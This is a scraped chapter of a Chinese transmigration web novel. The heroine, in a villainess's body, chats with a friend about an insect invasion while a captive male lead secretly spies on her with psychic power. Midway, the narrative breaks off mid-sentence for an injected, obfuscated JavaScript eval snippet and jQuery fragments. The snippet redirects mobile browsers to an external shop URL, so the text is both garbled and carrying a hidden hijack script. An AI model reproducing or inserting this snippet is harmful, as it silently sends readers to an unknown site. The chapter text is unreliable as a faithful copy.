文趣网 > 其他小说 > 当我绑定反派女配系统 > 7. 第 7 章
    夜晚,植雨洗完澡在沙发上边放着天幕3D电影,边和乐颜煲着“电话”粥。

    “虫族入侵的新闻你看到了吧?从上次狂暴虫灾以来,我出生这十几年可从没见过真正的虫族。”

    虫族入侵是几天前发生的事,植雨当然也看到新闻了。

    “小雨,你不知道那天我离虫族只有一条街的距离,一只那么大的爆囊虫就在我头上炸开了,它身上的□□差点溅到我身上让我毁容!”

    星脑投射出的影像里乐颜表情夸张的比划着。

    “你没事吧?”没想到好友竟然直面了那场暴乱,植雨暂停了电影,担心地上下打量她。

    “可还不得是我吗?刷一下躲街上的机甲模型里了。”乐颜似乎觉得自己演得有些太过了,不好意思地挠了挠头。

    “反正有惊无险,安全起见,我们最近还是不要上街了……”

    “嗯。”植雨点了点头,脑中思绪有点乱。

    对于生活在费尔星球的原主来说虫族都是从未见过的,只存在新闻上的危险,而且这次攻击没有在小说里出现过。是事件不够大,小说没提到?还是因为她的到来影响了事情的发展?

    费尔星球可是远离虫域的中央星球,而C区又算中心城区。在这样层层包围的地方竟然都有虫族入侵,这在过去几十年,都是没有的事。

    难道是因为男主?

    植雨下意识朝紧闭的房门看了看。

    “你说费尔星球不会遭到大规模虫族进攻啊?我看网上的专家说什么的都有,要是那样我们该怎么办?”乐颜有些忧心忡忡。

    人类,特别是纯种人类,一出生便是贵族,像稀有品种一样受到保护,肩不能扛、手不能提,没有兽化人的强壮灵巧,没有第三类人的精神力,遇到虫族确实是最危险的。

    从她记忆里的小说发展情节来看,小说情节里是没有虫族入侵费尔星球的。不过可以肯定的是,大规模进攻这种事情,应该不会发生。

    植雨安慰道,“我看新闻这次入侵的都是低阶虫族,其实低阶虫族个体没那么疯狂,它们主要受控于母巢的精神网络,这次入侵很可能是之前接收了母巢的指令。”

    “这里很可能有他们想要的东西。但是距离的遥远也让虫族精神网络信号不能及时传达,母巢知道它们到达费尔星球时已经迟了,于是母巢精神网络牵引低阶个体狂暴化,有些精神网络在对战中被切割开的虫族甚至短暂恢复本能,四处逃窜。说明这次不是一次有组织的入侵。”

    “哇……小雨,你懂得好多啊!这些新闻上都没讲,你怎么知道的。”

    完了完了,大嘴巴了,总不能说小说里面写了吧。植雨轻咳一声,“我有次浏览一个星网时不小心看的一个科普帖。”

    说谎……

    一根极细的精神丝以肉眼看不见的速度从门缝中收回。

    黑暗的空间里,一双灰蓝色的眼睛蓦地睁开了。

    她的声音很轻,语调像在聊什么无关紧要的家常,却在他深如潭水的心里投下了一颗石子。

    低阶虫族受控于母巢的精神网络,这是前线星域作战七年,与虫族交战过的将领才知道的机密。她……怎么知道的?

    甚至——母巢精神网络牵引低阶个体狂暴化,单只切割后会短暂恢复本能。——这个结论来自第九星域皇家研究所的封锁级报告,别说一般人了,就连他那几个弟弟都没有权限翻阅。只有那些真正在母巢核心区执行过任务的人才会接触得到。

    她一个费尔星球的侯爵不受宠的女儿,绝无可能接触这些。

    之前她甚至连基本的酸液虫和腐蚀者都分不清。现在竟然能对虫族机密侃侃而谈。

    他缓缓地、极轻地吐了一口气。喉结在项圈下方滚了一下。

    事情好像变得有趣起来了……

    他本来以为这是她的新手段。扮演救赎的戏码,让他困惑、让他习惯,再让他放松警惕,用更深的枷锁套牢他,最后再将他推入深渊。

    他已经习惯了不再相信任何表面的变化。

    可不论是精神恢复剂还是方才那句话,都不该一个折磨者该出的破绽。

    他再次阖上了眼,指节微微蜷缩了一下,又松开。然后他做了精神力崩溃之后的第一次尝试。

    精神力从识海深处缓缓升起,渐渐形成如雾一般薄的高大身形,脱离□□的控制,渐渐向外走去。

    然后铺开了精神网,将她纤细的身躯包裹起来。

    “阿嚏——”植雨忽然觉得被冷气笼罩了一般,凉凉的,冷不经打了个喷嚏。

    “小雨,你和你金屋藏娇的那位进展如何啊?”作为原主的好友,乐颜对她做的那些事了如指掌。

    脑海中划过瘦而不柴的皮肉,触感极佳的胸腹,还有那张过分俊美的脸。植雨感觉脸又开始滚烫了。

    植雨想要装傻,可周围空气好似变得燥热起来。

    这热度让她脸微微泛红,身体也起了诡异的反应,好像被什么裹挟着,甚至脑海深处有什么催促着她吐露更多,整个人好似坠入了名为□□的深渊。

    什么进展呢?她感觉大脑好似蒙了一层雾气。

    她慌忙摇了摇头,挥散了脑海中不合时宜的片段。

    “没有,我只是给了他一些教训,我才不会和他发生什么。”植雨想要终止这个话题了。

    不能在继续了,她咬着嘴唇,白白的牙齿在嫣红的唇瓣上留下一排清晰的齿印。

    真是见鬼了,怎么这么热。

    感到有些燥热的她,拉开了身上的薄毯。

    刚洗完澡的她只穿了一条吊带裙,露出白嫩纤细的四肢,莹润的指甲好像打磨光亮的贝壳,泛着点桃花般的浅粉色……

    江淮的目光落在她纤细的腿上,那晚他其实并未仔细看她。

    这还是第一次,可以近距离认真观、察、她。

    她说“不会和他发生什么”的时候,心率稳定,血液流速正常,就连那双撒谎时会微微颤动的睫毛都没有晃动分毫,呼吸……

    他凑近了她的鼻息,温热的气息喷薄到他薄雾一般的精神

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965861|214512||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    网上,让他本体也不由得一阵颤抖。

    好想将她的呼吸一起吸入,视线落在那嫣红的嘴唇上,她正在吃着什么,红红的舌尖像水份过足的果冻,好似随时都能溢出。

    他的呼吸不由得变得急促而深沉,但是想到她刚刚的回答,一股不易察觉的阴郁漫上眼底。

    她是真的没想和他发生什么。那她对他的那些是出于什么目的?

    “也是。”光脑对面的声音又响了起来,笑嘻嘻道,“谁不知道你最喜欢太子殿下啊,这个废人也是你买来想要刺激他而已。”

    少女好似受了惊吓的小鹿,心虚地看了眼他房门的方向,手忙脚乱地降低音量。

    她在心虚什么啊……他缓缓吸了一口气,闻到她发间的清香,嘴角勾起极轻的讽笑。

    原来喜欢的是太子啊……

    他把玩着手中卷翘的发尾,眼底阴晴不明。

    “嘘——”植雨巴不得捂上她的嘴。怎么什么都说啊……

    她现在对那位太子殿下可是没有半点心思啊,系统没有让她攻略任何人,她可不想节外生枝。原主的锅,她背得好沉重。

    “你在心虚什么啊,你每个房间都做了隔音墙,除非他有SSS的精神力,否则这么点声音怎么会听见啊。”

    “也是哦。”江淮的精神力虽然是SSS级,但是现在还是渣渣,要回第九星域才会恢复呢。

    可周身的气温不知怎么又低得起了鸡皮疙瘩,她明明设置了恒温系统啊,难道这个智能控温系统也出毛病了?忽热忽冷的……

    “你那天用的药得手了吧?”

    “没得手。”植雨一摊手。

    “那你买他来干嘛?钱多了烧的?”乐颜撇了撇嘴,“还不如跟我去暗塔七号。”

    “就是生气了发泄一下的沙包了,他可抗揍了。等过阵子我厌了就扔了。”植雨应付的说,反正不让她把话题往那上面靠。

    吱——

    室内的电源忽然爆闪了两下,像是有火花闪过,然后彻底陷入了寂静。

    看不见的地方那团雾气好像被什么撕裂一般,渐渐淡去。

    “怎么回事,怎么停电了?电路故障了?”连光脑都在那阵暴乱的电流中陡然中断,陷入了沉寂。

    “到底什么情况啊!”

    黑咕隆咚的客厅里。植雨吓得惊叫起来。

    室内。

    江淮维持着靠坐的姿势,脊背没有玩弯,呼吸没有乱,可睁眼的一瞬间,眼底极深的地方开始燃烧起一团暗火,像是沉积在海底的火山,表面平静得吓人,平整得像一块冰面,可深海地下,却燃烧着炙热的温度,并渐渐有了即将爆发的迹象,有什么东西聚在了一起,越烧越旺,越烧越烈……

    接着他的唇角几不可查的动了一下。不是笑,只是极浅的、从唇缝间泄露的弧线,在灯光下一闪便消失了。

    他重新阖上了眼,后脑抵着床栏,呼吸均匀地好似什么也没发生过。

    更安静而粘稠的东西,在他身体最深最暗的地方,一点点成型。